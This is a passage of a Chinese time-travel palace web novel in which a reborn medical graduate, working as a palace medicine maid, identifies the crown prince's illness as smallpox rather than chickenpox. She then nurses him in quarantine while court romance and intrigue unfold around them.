衣上云看着丁香有条不紊地派着差事,竟看得有些入迷起来,忽然醒过神来微微蹙眉喃喃道“东华宫”,于是她便上前去问丁香。 “丁香”丁香一见衣上云出来,便慌忙道“云儿,今日天气阴冷潮湿,不是让你在屋里好好呆着吗,这里有我呢,你就放心吧,有什么问题,我会去跟你禀报的” “没事的,哪有那么娇气。方才我听到你说东华宫,这东华宫是...?”衣上云好奇地问。 丁香这才反应过来衣上云入宫晚,至今对东华宫是一概不知的,便详细地说道“云儿你有所不知,东华宫是当今太子的宫殿。太子年幼,仅不足10岁。这几年由温太傅伴驾往灵空大陆诸国游历,故不在宫中,所以无需御药房侍候。而此次乃是因太子在外太久,数年未归,太后娘娘和皇后娘娘甚是想念,故才将其召回宫,顺便一道过年以解相思之苦” 衣上云终于听明白了,即刻便打趣地问“那太子如此娇气还在外游历,怎么一回宫便病倒了。不会是长期在外适应了外面的水土,如今回宫反倒却水土不服了吧?” 丁香顿时变得神情紧张起来,压低了声音在衣上云耳边说“你来的正好我正准备去跟你禀报呢,我听东华宫的婢女紫嫣说太子不是一回宫才病的,在回宫途中就已经染疾。听说太子倦怠、头痛不适已有数日,前几日路上还突发起高烧来,烧的整个人都惊厥了。以为是染了风寒便服用了些麻黄理中汤。温太傅本要带太子在沿途的驿馆停下就医,只因太子归宫心切,执意要先赶回宫中来。谁想今日一回来张院判便过去诊治,说是太子染了水痘,都已开始发出疹子来了。太后娘娘,皇后娘娘甚是担忧,皇上更是已龙颜大怒。温太傅因此被训斥地可凶了,如今都已被禁足在府中,不得召见不许出门呢” 衣上云惊声“水痘?” 她脑中急急回忆着自己所学“倦怠、头痛数日、高烧惊厥、发疹......” 丁香:“是啊,还好是水痘,而且只因太子执意替太傅求情,这才只是被禁足轻饶了。要是其它...怕是温太傅定要人头不保了。太子可是西秦国未来唯一的继承人,他要是有个什么闪失,后果可不堪设想” 此时,小药女已经将配好的药拿过来送给煎药的药女,衣上云连忙走过去“把处方给我看一下”小药女急急伸出手恭恭敬敬的将药方呈上。 衣上云接过去仔细认真地看着“桑叶、菊花、牛蒡子、杏仁、赤芍、板蓝根、银花、连翘、生薏米、车前子、芦根” “是桑菊饮”衣上云看完喃喃道,但是想着方才丁香所说的症状,她忽然深深地皱起眉来一副若有所思的样子。 接着只听她说“丁香,等会儿药煎好后通知我一声,我同你一道过去看看” “云儿,这药可是有什么问题?”丁香疑惑地问。 “先去看看再说吧”衣上云亦是带着同样有些疑惑的表情回答她。但她心里却想着,希望不是她担心的那样,眼下也只能等见到太子本人才能有所决断。 很快,俩人便拿着药匆匆赶到了东华宫太子宫殿。 “还不速速将汤药给太子服下”俩人刚一进门,就被璟帝怒火中烧的呵斥声惊到,丁香听到后更是怯怕,整个端着木盘的双手竟哆嗦了起来。 衣上云看见,立刻伸出手去端起丁香手中木盘里的药碗,沉稳不惊地朝着太子的病榻边走过去。 一到跟前,便看见了病榻上躺着的虽然生病着,却依旧能看出是一个极其俊朗,气质不凡的10岁少年。 只见病榻上的少年,稚嫩的棱角分明的面庞,浓黑的眉毛,高挺的鼻梁下一张薄薄的唇,虽然生病脸上起着好多丘疹,但依然张显着一副尊贵之气。 常听21世纪里的老人家们说,长着薄唇的人嘴巴一定很会说话,衣上云心想着,眼前这少年一定是个机灵的孩子。 稍作端详后,衣上云在病榻边缓缓坐了下来,拿起汤匙正打算喂药,忽然发现眼前的孩子竟然打起了寒战,这时她才注意到他的疹子分布的似有些蹊跷。 虽说现在是隆冬季节,但东华宫太子宫殿内自是各方面保暖条件极其的好,他却竟然还打寒战。 “难道真的......”衣上云口中喃喃道,随即伸出手捉起太子的手臂来凝神一看,只见长衣袖下露出的那只手臂上的红色丘疹密密麻麻。 她即刻放下手中的药碗,又急急拉起另一只手凝神确认亦是同样如此,再迅速解开少年的衣襟带来却看到腹部和胸部的红疹甚少。 身为一名21世纪国内医药界一名高材生的她,岂能不知此时这种离心式分布的红疹是什么? 只见衣上云稍加思索随即便紧紧蹙起了那双秀眉,将脸转向了一旁的太医院首席院判——张致远,急急道...... 第四十九章:医者仁心 身为21世纪国内医药界一名高材生的衣上云,岂能不知此时眼前这种离心式分布的红疹是什么? 天花的皮疹正是以头面部,四肢近端居多,驱干则居少,呈现离心性分布;而水痘的皮疹则是先由躯干开始的,再逐渐扩散到四肢,相反呈向心性分布,如今眼前这明显...... 只见衣上云稍加思索随即紧紧蹙起了那两道秀眉,将脸转向了一旁的太医院首席院判——张致远,急急道“张院判,请过来这边看看太子殿下” 一直站在旁边不敢大声出气沉默不语着的张致远,听到衣上云的轻唤声急急走过去。衣上云随即依次掀起太子双臂上的衣袖和上衣来,张致远顺沿着她的指向定睛凝神一看,立马眼睛怔住向着衣上云的双目,衣上云亦是看着他的目光颔首向其确认。 张致远此时感觉犹如晴天霹雳,真是一波未平一波又起,但事关重大,他只能如实禀报。 于是,他急急转头朝向璟帝身边走过去后即刻俯首下跪道“启禀陛下,老臣罪该万死,太子殿下他...太子这是染了天花” “什么?”璟帝、太后、皇后三人闻声不约而同地站起身来异口同声道。 太后更是一个踉跄险些晕了过去,皇后连忙伸出双手扶住。 “怎么会?这可如何是好?”皇后乃一国之母,母仪天下。本应遇事沉稳端庄,但如今染病的可是自己心尖上嫡亲的皇儿,她自是沉不住气的。 “太子病情究竟为何突生变故,方才不说是水痘吗?”璟帝言语里满是质疑,发出的威严之气直逼张致远。 张致远豆大的汗水冒着“回陛下,水痘和天花发病初期都很急,并都伴有发热、头痛、倦怠、出疹子等症状,本就容易混淆。且殿下刚回到宫中,太医院并无专人日日请脉备案。可如今依照殿下此时症状的发展来看,老臣确定是天花无疑,太子殿下必须马上被隔离” 一边的衣上云看着张致远极力为自己开罪,心里暗想“明明就是自己误诊所致,堂堂一个太医院院判,竟然粗心大意到连水痘和天花都诊错。唉,只是可怜了这个孩子要遭大罪了”说着,朝着病榻上的轩辕昊露出一脸的心疼来。 “隔离!本宫要亲自照顾我那可怜的皇儿”皇后听到后亦是看着病榻上的太子泣不成声地说道。 张致远急急阻止“皇后娘娘千万不可,没有患过天花的人,不分男女老幼,均能被其极强的传染性所感染,后果不堪设想” “那怎么办,那怎么办,到底谁才能全心全意的照料本宫的皇儿”皇后满腹慌乱地哭诉着,一旁的太后亦是泪眼婆娑着不知所措,璟帝亦是一脸无奈地瘫坐在坐榻上不言不语。 此时,东华宫寝殿里所有在场的宫女太监们人人都低头不语,心里担忧害怕着,巴不得此刻能有一双翅膀立刻飞身而出,逃离这个恐怖的大殿。 然而就在所有人都惶恐的沉默着的时候,衣上云看着眼前床榻上这个极为痛苦的孩子,缓缓起身来深吸一口气用无比坚定的口气说道“就让奴婢来照顾太子殿下吧” “你?” “她?” “她不要命了吗?那是天花耶” “天花自古就是无药可救的” “染上了肯定是死定了,就算治好痊愈了侥幸保住一条小命,那也几乎是一脸的麻子,完全毁容了” “这个节骨眼上,她还逞什么能啊” ...... 伴随着衣上云说出的这句话,大殿内顿时议论纷纷,说什么的都有。 丁香悄悄挪步站到了衣上云的身旁来“云儿,这是天花呢,你不要命啦?”衣上云听到,看着她只是抿嘴微微笑着。 “又是你!也罢,既然你这么喜欢逞强出风头,朕今天就成全你。不过,要是太子有个什么闪失,你就等着拿你们衣府九族所有人的性命来给他陪葬”璟帝盯看着她半天,最后狠狠地说道。 话刚说完璟帝便下令“立刻将东华宫封锁隔离起来,除了张致远和衣上云还有东华宫服役的所有奴才外,其他人等均不可擅自入内,违令者格杀勿论” 话一说完,在场所有人便都急急追随璟帝身后踱步而出,只有皇后甚是不舍地一步三回头,时而看着病榻上的太子轩辕昊。 丁香亦是边走边回头一脸忧心地看着衣上云,衣上云则仍然只是对她一直微笑暗示她安心离去。 人都散去,一室寂静。 瞬间偌大的寝殿里就只剩下衣上云和张院判俩人,还有病榻上那个被病痛折磨的极其可怜的孩子。 “衣药女,没想到你年纪轻轻,竟然如此医者仁心,老夫实在佩服至极。不过,太子殿下患的可是传染性极强的天花之毒,衣药女还当尤为小心才是”张致远此时对衣上云一脸敬佩的说道。 然衣上云却瞬间阴冷下了那张瘦小的脸看着张致远的眼睛说道“张院判,身为太医院首席院判。今日你险些把太子的天花误当成了水痘诊治,如此大意不严谨,你可否想过后果?” “衣药女何出此言,方才老夫都已经跟陛下解释过,天花和水痘......”张致远话说到一半便被他始料未及的衣上云的呵斥声惊到。 “荒唐,陛下不精于医术故而被你玩弄于股掌之上,可是这不能成为你张院判为自己开脱罪责的借口。你看看,这病榻上躺着的可还只是个仅仅不到10岁的天真无邪的孩子,误诊的后果可是要夺了他的性命的,院判大人你知道吗?” 衣上云难过而又气愤地指着床上一脸痛苦之态的轩辕昊说着。 “衣药女话既至此,老夫也不妨对你直说。这天花病毒自古都是不治之症,即便侥幸逃过一命,也是容颜尽毁,以后生不如死。凡人听闻唯恐避之不及,老夫是见你勇气可嘉,故才对你美言几句,你莫要得意忘形。不过是一个小小的御药房药女,还想训斥老夫,你就自求多福吧”张致远气急败坏又轻蔑地对她说出这番话后便也急急逃了出去。 衣上云看到这么不负责任的医者甚是气恼,但还是极力隐忍着,紧闭起双眼深深吸气,片刻后将这满腔的浊气吐了出去,眼睛亦随之睁开来再次看向病榻上的太子轩辕昊。 谁料轩辕昊竟不知何时已从迷迷糊糊中清醒,正好听到了张致远临走前的最后一句完整的话。此时他端着一脸憔悴的病容轻声地问“你为何还不走?” “殿下醒了”衣上云听到他的声音欣喜地呼道。 轩辕昊用力想要坐起来,衣上云看见连忙上前来扶“太子殿下当心” “本太子染了天花,人人都惟恐避之不及,你却为何还独自留在这里?”轩辕昊言语里有些懊恼丧气也夹杂着些好奇地问眼前这个陌生的女子。 “因为奴婢是太医院的药女啊”衣上云回答他。 “哼,药女?药女在宫中算是几品官职啊?”轩辕昊在衣上云的帮助下终于坐了起来,然却冷哼着说道。 衣上云当然深知药女既无品又无级,只不过是一个最底层的杂役而已。可她还是微笑着回答轩辕昊“殿下,所谓医者仁心。身为一个医者,无论他的医术强还是弱,亦无论他的职位高还是低。都应竭尽所能,尽心尽力,帮扶病患,治愈病患,此乃一个医者责无旁贷神圣之天职” “哼,好一个医者仁心,责无旁贷,只不过治愈天花......”轩辕昊依旧冷哼着,却欲言又止。 衣上云忽然自嘲起来,她竟然此时跟一个与21世纪的自己年龄有着近二十多岁相差的孩子讨论如此神圣的医者仁心的话题,说这样信誓旦旦的话。她想,肯定是自己穿越至此的时间太久了,竟真把自己当成17岁的原主了。 随即她转移话题向轩辕昊道“太子殿下,让奴婢跟殿下讲个故事吧,可好?” 轩辕昊毕竟还只是个孩子,一听到讲故事,自是抗拒不了其诱惑的。 看到他安静下来,于是,衣上云靠边上坐了下来耐心的给他讲了一个得了天花的皇帝的故事。 “有一个叫奕詝的人,他的生母只是个二等侍卫之女,生母从小家境贫寒,但其聪慧美丽,入宫后很讨皇帝喜欢,后来成了贵妃生下了奕詝。奕詝三岁的时候,生母被册为皇后。但是天妒英才,奕詝为皇子时和殿下一样得了天花,脸上留下一脸麻子。后来从猎南苑,驰逐群兽,坠马伤股,从此又落下残疾,终身行动不便;然祸不单行,就在奕詝和殿下同样只有10岁的时候,其生母亦病逝撒手人寰而去,奕詝从此便由另一宫中贵妃抚养。他勤奋善良、宅心仁厚、被当朝皇帝立为储君。后来即位后更是呕心沥血,精图励志、大肆改革、整顿吏治、严惩贪官污吏、镇压内乱、抗击外强最终成为一代帝王” 故事讲完,衣上云对他说“太子殿下和奕詝相比,已经是何等庆幸了,不是吗?” 轩辕昊却依旧只是久久沉默着不出声,一脸凝重着...... 衣上云看见,似是有些耐不住性子了。便起身来想要到殿外去呼吸调节一下自己的状态,缓解一下自己此时亦是无比沉重和受挫的心情。 谁知她刚走到寝殿门口准备抬脚跨过门槛去的时候,忽闻轩辕昊...... 第五十章:已成深深的烙印 衣上云见轩辕昊依旧只是久久沉默着不出声,一脸凝重着,似是有些耐不住性子了。便起身来想要到殿外去呼吸调节一下自己的状态,缓解一下自己此时亦是无比沉重的心情。 谁知她刚走到寝殿门口准备抬脚跨过门槛去的时候,忽闻身后的轩辕昊一声“你叫什么名字?” 衣上云听到后立刻回头,一脸欣喜地看着眼前这个有些固执的孩子,皇天不负苦心人,终于他肯释怀愿意开口和她好好说话了。 这便急急返回去对他温柔的微笑着说“奴婢是御药房药女,衣上云” “衣上云......本太子记住了”轩辕昊口中默默地念道. 一边的衣上云颔首,仍只是开心地笑着。因为她相信:接下来的日子里,无论有多艰难,轩辕昊病的有多严重,只要他愿意敞开心扉,积极面对,那就一定会有好的结果。 此时,城东秦王府,一片威严肃静。 轩辕翰正端坐在承华殿里,手执一个高雅宁静的宝蓝色绸缎质地香囊,上面嵌着几枝白梅,左看右看饶有兴致的细细端详着,时不时嘴角里还勾出一抹好看的弧度来...... 副将程良从殿外急急走了进来,一进门便显出一副神色慌张的表情。 “殿下” 轩辕翰亦是看到他这副罕见的表情,便先问他道“发生了何事?” 程良似是有所隐瞒亦或者是想要先缓和铺垫一下,想了想就只禀告道“宫中刚传出消息,说太子殿下与温太傅今日已回到宫中” “此事本王早已知晓”轩辕翰一向与太子和温太傅关系密切,自是早就已经收到他们年底将要回宫的消息,此时一点也不意外。倒是有些责怪起程良的大惊小怪,他认为程良整日跟随他左右也自是应知道此事的。 然程良接着又禀告说“太子殿下刚被诊断出染了天花,如今整个东华宫已经被封锁隔离起来了” “什么?不说是水痘吗?”轩辕翰听到这里的时候才似是有些惊到。 “多半是发病初期被误诊了...”程良还想继续说,却还是觉得不知该如何开口,眼睛低着一直左右闪烁内心挣扎着。 “还有什么事?”轩辕翰看出他还有事要说,便再一次抬眼朝他厉声问道。 “殿下不要太着急了”程良说着,但仍还是在铺垫。他害怕,他这会儿所说所做的其实只不过是为了告诉主子一件事情,一句话而已。可他不知道说了这么多,做了这么多的铺垫,等他说出那句最要说和最该说的的时候,主子会是个什么样子。 轩辕翰听了程良这句莫名其妙的话后更是觉得奇怪“本王何时着急了,况且现在着急也于事无补,幸好太子如今已经回到宫中,宫内各项条件自是最好的。如今,也只能静待天意了” 程良终于耐不下去,再也守不住心底的这句话。于是他鼓起腮帮,深吐一口浊气随即低着头清晰又大声地向轩辕翰禀报“禀殿下,东华宫被隔离起来的除了太子殿下,还有...还有衣药女”。 “什么?”果然,一向沉稳冷静的轩辕翰听到这句话,立马从坐榻上站起身来,瞪大了双眼似乎不敢相信自己的耳朵,一脸惊愕地望着程良,随即两只拳头攥得紧紧的。 “她不是腿疾未愈还在御药房修养吗?你不是已经传达过本王的命令,不许太医院派任何差事给她?到底是谁这么大胆竟敢违抗本王的命令?她为何又会被隔离在东华宫内?” 轩辕翰激动不已,第一次如此沉不住气,第一次如此发狂,第一次如此为一个女子失了身份。 程良听到轩辕翰一连这么多问题,知道主子心急如焚。于是一个个认真作答道“太医院定是不敢对殿下的命令阳奉阴违,据说是衣药女在药女煎药的时候发现了一些问题,于是执意前往东华宫想证实自己的猜想。也幸亏衣药女去了,这才细心的发现太子病情诊断有些端倪,后来让张致远重新诊断方知是染了天花” “那为何她会被隔离在东华宫?”轩辕翰仔细听着,迫切地问道。 “皇后娘娘得知太子染了天花要被隔离,坚持要亲自侍疾陪伴照料。皇后乃一国之母身份贵重,皇族和太医自是不允。所有人都唯恐避之不及,只有医药女却自告奋勇说要照顾太子。皇上听了,说衣药女喜欢逞强出风头,就应允了她,所以便和太子一起被隔离了”程良禀的甚是认真仔细的样子。 “她哪里是喜欢逞强出风头,她只是心地太善良,任凭对谁都凡事于心不忍罢了”轩辕翰一脸无奈却又含情脉脉地说着,心里浮现出这样的一幕幕来。 在风高夜黑的山谷里,衣上云面对身受重伤素不相识的轩辕翰,一身夜行衣持剑威胁,却仍然毫不畏惧施以援救之手; 在喧闹的街市上,对同样素不相识身中剧毒的老婆婆及时解毒保其性命,并赠送其所有随身银两帮其度过难关; 在西秦皇宫里,为了给第一次见面的太后,寻回极品铁皮石斛替父恕罪,不惜暴雨夜攀爬陡峭的山谷跌落下来险些丧命; 后又因此事累及父亲之过,一个好端端自由自在的大小姐,被皇帝处罚入宫做了一个整日里奴颜婢膝的小药女,受尽欺凌; 公主与外邦政治联姻,又与她何干?公主激怒皇帝,为了给皇帝消气,替公主解围,她竟以身挺险争取回旋之地无果,便再次激怒皇帝。冰天雪地里罚跪十二个时辰,皇帝消气了,而她却落下了严重的腿疾至今都无人能医; 与太子初见,太子染上大疫,又与她何干?终究她也只不过是看到太子年幼,想要拼尽全力帮其燃起求生的欲望与病魔斗争而已。 ...... 所有的事情,所有的过往,这一切的一切,原来,早已经成了一道深深的烙印,烙在了轩辕翰的心里。 这些所有,已经在一寸寸地融化着他那已冰冷沉睡了千年万年的心。 “殿下”程良看到轩辕翰陷入了深深长长的思绪当中,轻声地想要唤醒他。 只见轩辕翰听到后立刻从坐榻边抽身走下来,道“备马...进宫”。 “什么?进宫?殿下......”程良不敢相信自己的耳朵,太子染了天花,人人唯恐避之不及,主子还要自己送上门去。 然还没等他将话说完,轩辕翰早已不见了人影,程良急急追随着他已远去的背影奔出大殿,边走边思考。 这时,韶华阁的梅汐媛亦是听闻了王府内到处都在传闻,宫中太子染了天花,东华宫被封锁隔离的消息,便急急穿过回廊过来承华殿,想要提醒轩辕翰日常进宫早朝务必当心避讳着点。 谁知,一到承华殿门口,便看见了轩辕翰主仆二人一前一后从她眼前匆匆而过。 轩辕翰已大步流星的朝王府正门方向而去走远了,她只能急急拦住后面追随着的副将程良道“程将军,请留步” 程良听到梅汐媛唤他顿时止步行礼道“王妃娘娘,有何吩咐?” “程将军,看殿下这行色匆匆的,发生了何事?殿下他这是要去哪儿?”梅汐媛看了一眼轩辕翰离去的背影,朝程良探问。 “娘娘有所不知,宫中太子今日刚回到宫中。太医诊断太子染了天花,东华宫已被隔离,殿下这会儿正是要入宫去探病”程良解释道。 “什么?难道王府中传闻的都是真的?太子果真染了天花?”梅汐媛异常惊恐地问,程良颔首默认。 “那殿下为何还不知避讳,反倒还要入宫去以身犯险呢?”梅汐媛甚是担忧亦不解地问。 “王妃娘娘,太子乃是西秦国未来唯一的继承人,殿下又是太子唯一的亲皇叔,于情于理此时都应该入宫探望。况且如今东华宫已被隔离,殿下去了怕也是入不了东华宫的大门的。此去只是尽人事罢了,否则陛下和整个天下又将会如何议论殿下呢?” 听了程良的一番话,梅汐媛心里宽慰了许多“嗯,程将军分析的也甚是有理,那就有劳程将军费心对殿下多多照顾着点” 程良:“王妃娘娘放心,保护殿下,此乃属下职责,属下定当万死不辞,不让殿下受半点伤害” 说完,程良便急急告退出了门去,梅汐媛则孤零零地独自站在空旷的院落里望着二人离去的背影露出一脸的忧心来。 “为何磨蹭到现在才出来?”轩辕翰出来许久,不见程良跟上。见其一出门来,便一边上马一脸怒色地朝他道。 “殿下,其实王妃娘娘对殿下您挺上心的,方才她还......”程良思量了半天还是决定一吐为快把刚才和梅汐媛的一番对话告诉轩辕翰,只是话才刚开口,便被轩辕翰投过来的冰冷渗人的眼神噎了回去,无奈他只得老老实实地策马奔驰。 西秦皇宫里,轩辕玥正在皇后的朝华宫里安慰陪伴着。 “母后,事已至此,母后也当以凤体为重。皇弟吉人天相,自会得上天庇护,一定会平安无事的”皇后自从出了东华宫的宫门,便整日里以泪洗面、唉声叹气、茶饭不思。 轩辕玥每日大半时间都是伴在其左右宽慰着她,如今俨然已是一副成熟沉稳的大人模样了。 “玥儿,母后早就劝谏你父皇...... 第五十一章:赌注,十里红妆 “皇儿,母后早就劝谏你父皇。昊儿还小,不宜在外四处游走历练。虽说他是我西秦国未来,继承大统的唯一人选,可他终究只不过10岁,还只是个孩子而已。可你父皇就是不听,还说出一大堆的道理来。如今这样,他可满意了?”皇后向轩辕玥哭诉着此时内心极为愤愤不平的怨恨道。 轩辕玥听着也瞬时泪眼朦胧道“母后,发生这样的事,父皇也始料未及。试问天下又有哪个做父母的愿意将自己的孩子置生死于不顾呢?怪只怪这天下,竟有如此魔鬼般噬人性命的疫病”轩辕玥蹙眉似咬牙切齿地怒说着。 而片刻之余,她似又想到了什么,忽然一脸欣慰地对皇后说“不过母后放心,东华宫里皇弟的身边有云儿在,肯定会比我们任何一个人都照顾地周到细致” “那个丫头?莫不是本宫真误会小瞧了她?如今母后细细想来,她还真是一个天不怕地不怕的奇女子。在那样危险的时刻,每个人都只顾着自己的安危,整个西秦皇宫里,竟然只有她一个人站出来,不怕被天花之毒传染,愿意冒死照顾太子。可你父皇有言在先,若是太子有所闪失,可是要拿那丫头九族的性命来陪葬的?” 皇后此时说着,言语里竟对衣上云没了往日的敌意,竟似乎透出了些许敬佩之意来,但同时也似是替其尤为忧心,毕竟太子染的可是让人人闻之而丧胆的疫病——天花。 而轩辕玥此时心里却对衣上云信心满满着,因为她知道衣上云通晓很多这个世上连她都不得而知的事情。她自是不知衣上云如今的灵魂是来自未来世界,21世纪高科技时代的医学院高材生,医药名企首席ceo。 她只是暗自庆幸着,此生能与衣上云相遇相知并相伴,即使这相伴的日子已然无多,但仍然感激命运能如此安排。 “玥儿跟母后打个赌吧?”轩辕玥忽然兴奋地说道。 “打赌?不知皇儿要跟母后打什么赌呢?”皇后亦是忽然有些莫明其妙地看着轩辕玥道。 “玥儿跟母后打赌,有云儿侍疾,皇弟此次一定能够平安无事,天花一定不会在皇弟身上留下丝毫痕迹”轩辕玥越想越对衣上云充满信心,就仿佛把她活脱脱当成了一个会仙家仙术的仙女一般。 “皇儿竟是逗母后开心了,母后的皇儿真的长大了,很孝顺,母后真的很开心,可是皇儿说的简直就是天方夜谭。自古谁人不知染上天花病毒者,十有八九都是死路一条,即使侥幸捡回一命,也是容颜尽毁...事到如今,母后心中也别无他求了,只盼着昊儿能够保住一条性命,于此,便甚为感恩我轩辕祖先之庇护了,哪里还敢再痴心奢望其他!”皇后似是心中对轩辕玥此番言语颇为感动,方感宽慰着道。 然轩辕玥却不依不饶坚持道“母后,请相信玥儿一次,这次玥儿是认真的。这个赌约,玥儿如果输了,玥儿从此愿意听从母后父皇任何安排,绝无半点怨言。但如果玥儿赢了,母后便得答应玥儿一件事情” 皇后看着她似是痴人说梦,但又似非常真诚,便一脸无奈地问“不知皇儿要母后答应你何事?” 轩辕玥古灵精怪的眼睛咕噜一转,便双膝沉沉地跪了下去在皇后身旁,极为认真诚恳地道“母后,如果皇弟此次真如玥儿所说,在云儿的侍疾下得以安然无恙。如此,玥儿要母后承诺,今后无论玥儿是否已经出嫁,又身在何处。待到云儿出嫁之日,母后将以灵空大陆西秦国皇后尊贵无比的身份赐云儿十里红妆,让她风风光光出嫁。母后可能应允?” 皇后听闻甚是惊讶,才方觉原来轩辕玥与衣上云的感情比她想象的要深得多,难怪衣上云亦是在璟帝面前丝毫无所畏惧地帮助轩辕玥在和亲之事上谏言。 于是,便欣然接受了轩辕玥的请求道“母后应允你便是,昊儿的安危又岂是一个区区十里红妆所能及的” 见皇后应允轩辕玥大喜,一时间竟激动的眼睁睁望着皇后流泪哭出声来,皇后亦是眼睁睁地看着她,对她此举甚是一脸惊慌失措地道“皇儿这是怎么了?” 秦王大婚那日,轩辕玥在秦王府门口便承诺过,待到衣上云出嫁之时亦是要由她做主让她风风光光的出嫁。 而今,璟帝逼婚,注定了她必定是要离开西秦国故土了,只是时间的问题而已。而衣上云又将从此被赐给秦王妃梅汐媛奴颜婢膝。 未来一切的一切,都充满无穷无尽的变数。但她的母后就不一样了,她是皇后,是一国之母,位于一人之下万人之上。 无论世事如何变迁,只要皇后应允,衣上云出嫁之时便绝不会寒酸。一个女子只有嫁妆好了,嫁去夫家才不会被歧视。 而今日此时,轩辕玥也算是真正对衣上云实现了她这个承诺。也算是在她离开西秦国前唯一为衣上云做的一件大事。 轩辕玥这时低声喃喃“云儿,本公主已经做到了。你也要加油,一定要做到才行” 此刻,她岂能不喜极而泣,随后竟朝着皇后俯身深深叩拜了下去,一字一顿字字铿锵道“玥儿谢母后成全”,皇后看着她,一脸的诧异。 人们总说,世上最难维系的感情就是女子与女子之间的友情。女子的世界终会因家庭和孩子失去发展机会,会因后来各自境遇的不同而日渐隔阂,使她们在生存中做出无意识的背弃友谊的决策。 然而,轩辕玥怎么都不会想到,她与衣上云之间,这俩个女子注定一世纠缠,各自的命运也都是那么的令人可歌可泣。 东华宫——太子轩辕昊的宫殿里,里里外外的人都遮着面纱忙忙碌碌着。 只看见衣上云正对着这来往的宫女太监们热心满满地提醒着“大家都不要惊慌,天花主要是通过飞沫吸入或直接接触而传染的,如果有人突然出现头痛、背痛、发冷或寒战、高热并伴有恶心、呕吐、便秘、失眠等症状的请立刻给太医查看。所有要送给太子殿下的物品均放在大殿门口的案几上或交于我便可,不必亲自送进来增加自己被感染的机会” “衣药女,真是辛苦你了,你人真善良,让我们大家离天花病毒远远的,自己替我们挡了所有的灾难”太子宫里的婢女紫嫣诚恳地说着。 “衣药女人真好” “多谢衣药女” “谢谢衣药女” “衣药女,你真好” “衣药女可真善良” ...... 一旁的宫女太监们个个都跟着紫嫣满脸笑容和感激的向衣上云诚挚的道谢着。 “哼......”张致远一只手端着一碗刚刚煎制好的汤药,另一手拿着一瓶新调配的外用涂抹用药膏走过来,重重地将其丢在寝殿门口的桌案上,狠狠地瞪了衣上云一眼冷哼了一声,便转身离开了。 紫嫣看到,开口说“衣药女,你不要理他,他这是咎由自取。现在整个皇宫都知道他误诊的事了,传的沸沸扬扬,宫里的妃嫔贵人们个个都嫌弃他骂他,以后都不要他帮忙诊病了呢。他现在心里可恼着呢” 衣上云听闻,特意又一次放眼过去看了看张致远的背影,轻轻抿起嘴对紫嫣微笑了一下,便拿了药进了寝殿内。 “殿下,该服药了”轩辕昊听见这段时间里自己唯一能听到的不能再熟悉的声音,便从病榻上缓缓起身来。 “殿下的病情控制地极好呢,相信很快就会痊愈的”衣上云一边拿着药向着轩辕昊走过去,一边安慰着对他说道。 轩辕昊真的很坚强,病里一直坚持着要自己喝药不用人喂食。 现在,他总是对衣上云说“本太子难道还不如你故事里的那个满脸麻子还外加残疾的帝王吗?” 这会儿他正手里端着汤药慢慢服下,在衣上云及太医和所有东华宫宫女太监们齐心合力无微不至的照料下,轩辕昊的天花已经完全受控了。 虽然被隔离了起来,但反倒正因如此,所有人的力量更加凝聚了,每个人都不再如初始那般害怕和恐惧,如今就像真正的一家人,其乐融融地生活在一起,共渡难关。 轩辕昊服完药,衣上云便上前坐于榻边拿着涂抹的药膏开始轻柔地涂在轩辕昊的天花丘疹上。 她一边涂,一边问轩辕昊“太子殿下,奴婢有一事不明,想请教殿下?” 轩辕昊:“你想问本太子何事?” 衣上云:“太子殿下身份尊贵,多年来温太傅照顾的亦是细致入微,奴婢想知道殿下可知自己是如何染上这天花病毒的呢?” 轩辕昊听了瞬时紧锁眉头,露出一脸疑虑停顿回忆了片刻便开口说“其实本太子也不确定是不是那次。大约半个多月前,有一蒙面人引诱本太子至一深巷之内,他拿出一个精致的七彩琉璃瓶,本太子见他举止诡异,便问他瓶中是何物?然他不作言语,只缓缓朝着本太子踱步过来随即打开瓶盖,在本太子面前一晃而过后,人便匆匆溜走了。本太子当时甚是不解,如今细细想来,或许便是那时候被此人撒了天花病毒了吧” “那此人岂不是很危险,他竟有如此高深的毒术,太子可还记得他的容貌?”衣上云霎时紧张异常地说。 轩辕昊似是无奈的微微摇头,然后说“他当时蒙了面,本太子还未曾看到他的容貌,便已被他溜走,是本太子大意了” “蒙面人似是专程为引诱太子而去,那他自是知道了太子的身份。对西秦国的太子动手,那定是对西秦有不轨之心之人。换句话说,此人定是对西秦国有重大的阴谋”衣上云似是心里有所怀疑道。 “那是发生在何地的事?”思考片刻后,衣上云又急急追问。 第五十二章:似曾相识的怀抱 “那是发生在何地的事?”思考片刻后,衣上云又急急追问。 “应该是尚在南安国边境内,与我西秦交界处”轩辕昊稍作回忆后道。 衣上云随即深深蹙眉若有所思着,却立刻又似有所察觉道“南安国...殿下出宫往诸国游历,自是隐藏了身份。而此人明显是知道殿下身份的,否则怎么可能对一个小小少年下此毒手?可这下毒之人究竟是谁呢?又为什么要选在南安国下手?是本就是南安国的阴谋呢,还是有人要故意栽赃嫁祸给南安?对了,我们不妨可以听听秦王殿下的看法,他是朝堂中人,又是太子的亲皇叔,一定会全力查明此事的” 轩辕昊听到衣上云说到秦王殿下四个字,便立刻好奇地问“你竟识得本太子的皇叔?” 衣上云忽然有些不知道该怎么开口解释,于是眼神急急躲闪着他的质问道“奴婢在宫中当差,自然是见过几次秦王殿下面的” 嘴里说着说着便心虚地低下头来,这急急避开的目光和一脸羞涩的绯红,又如何瞒得过眼前这个俨然已经10岁的少年。 轩辕昊始终凝神盯着衣上云看着,而衣上云似是再也坐不下去了。忽然起身来急急收拾起药碗,药膏,准备要逃离开。 “衣药女,本太子刚刚才发现,你似乎不仅仅是因为怕被传染天花才戴的遮面纱巾,究竟为何?”轩辕昊刚刚凝视时才发觉,他醒来的时候,第一眼见到衣上云,她就一直以遮面纱巾示人的,而那面巾下隐隐约约透着的是... 衣上云听到轩辕昊的质问,急急伸出手去摸了摸脸上的胎记随即说道“太子殿下,奴婢的脸上有一颗丑陋的红色胎记,怕冲撞到别人,故此而为之” “哼,整日里就知道编那么多好听的故事来诓骗本太子,叫本太子不要放弃,不要万念俱灰。你自己还不是一样,一颗胎记便整日遮掩着不敢示人,那本太子病愈后满脸麻子岂不是......” 轩辕昊越说情绪越激动,竟顺手拿起手边方才服药的药碗朝着衣上云的身上狠狠砸过去...... 显然这出乎意料飞过来的药碗让衣上云避之不及,她只立刻似是本能的闭起眼侧起身来,交叉弯曲起双臂来急急挡住自己的头部。 眼看着药碗就要朝她砸过来,就在这时,只听见从寝殿门口飞进来不知道是何物“咻”的一声,接着便是“啪嚓嚓”瓷碗落在地上发出了清脆而又刺耳的碎裂声音。 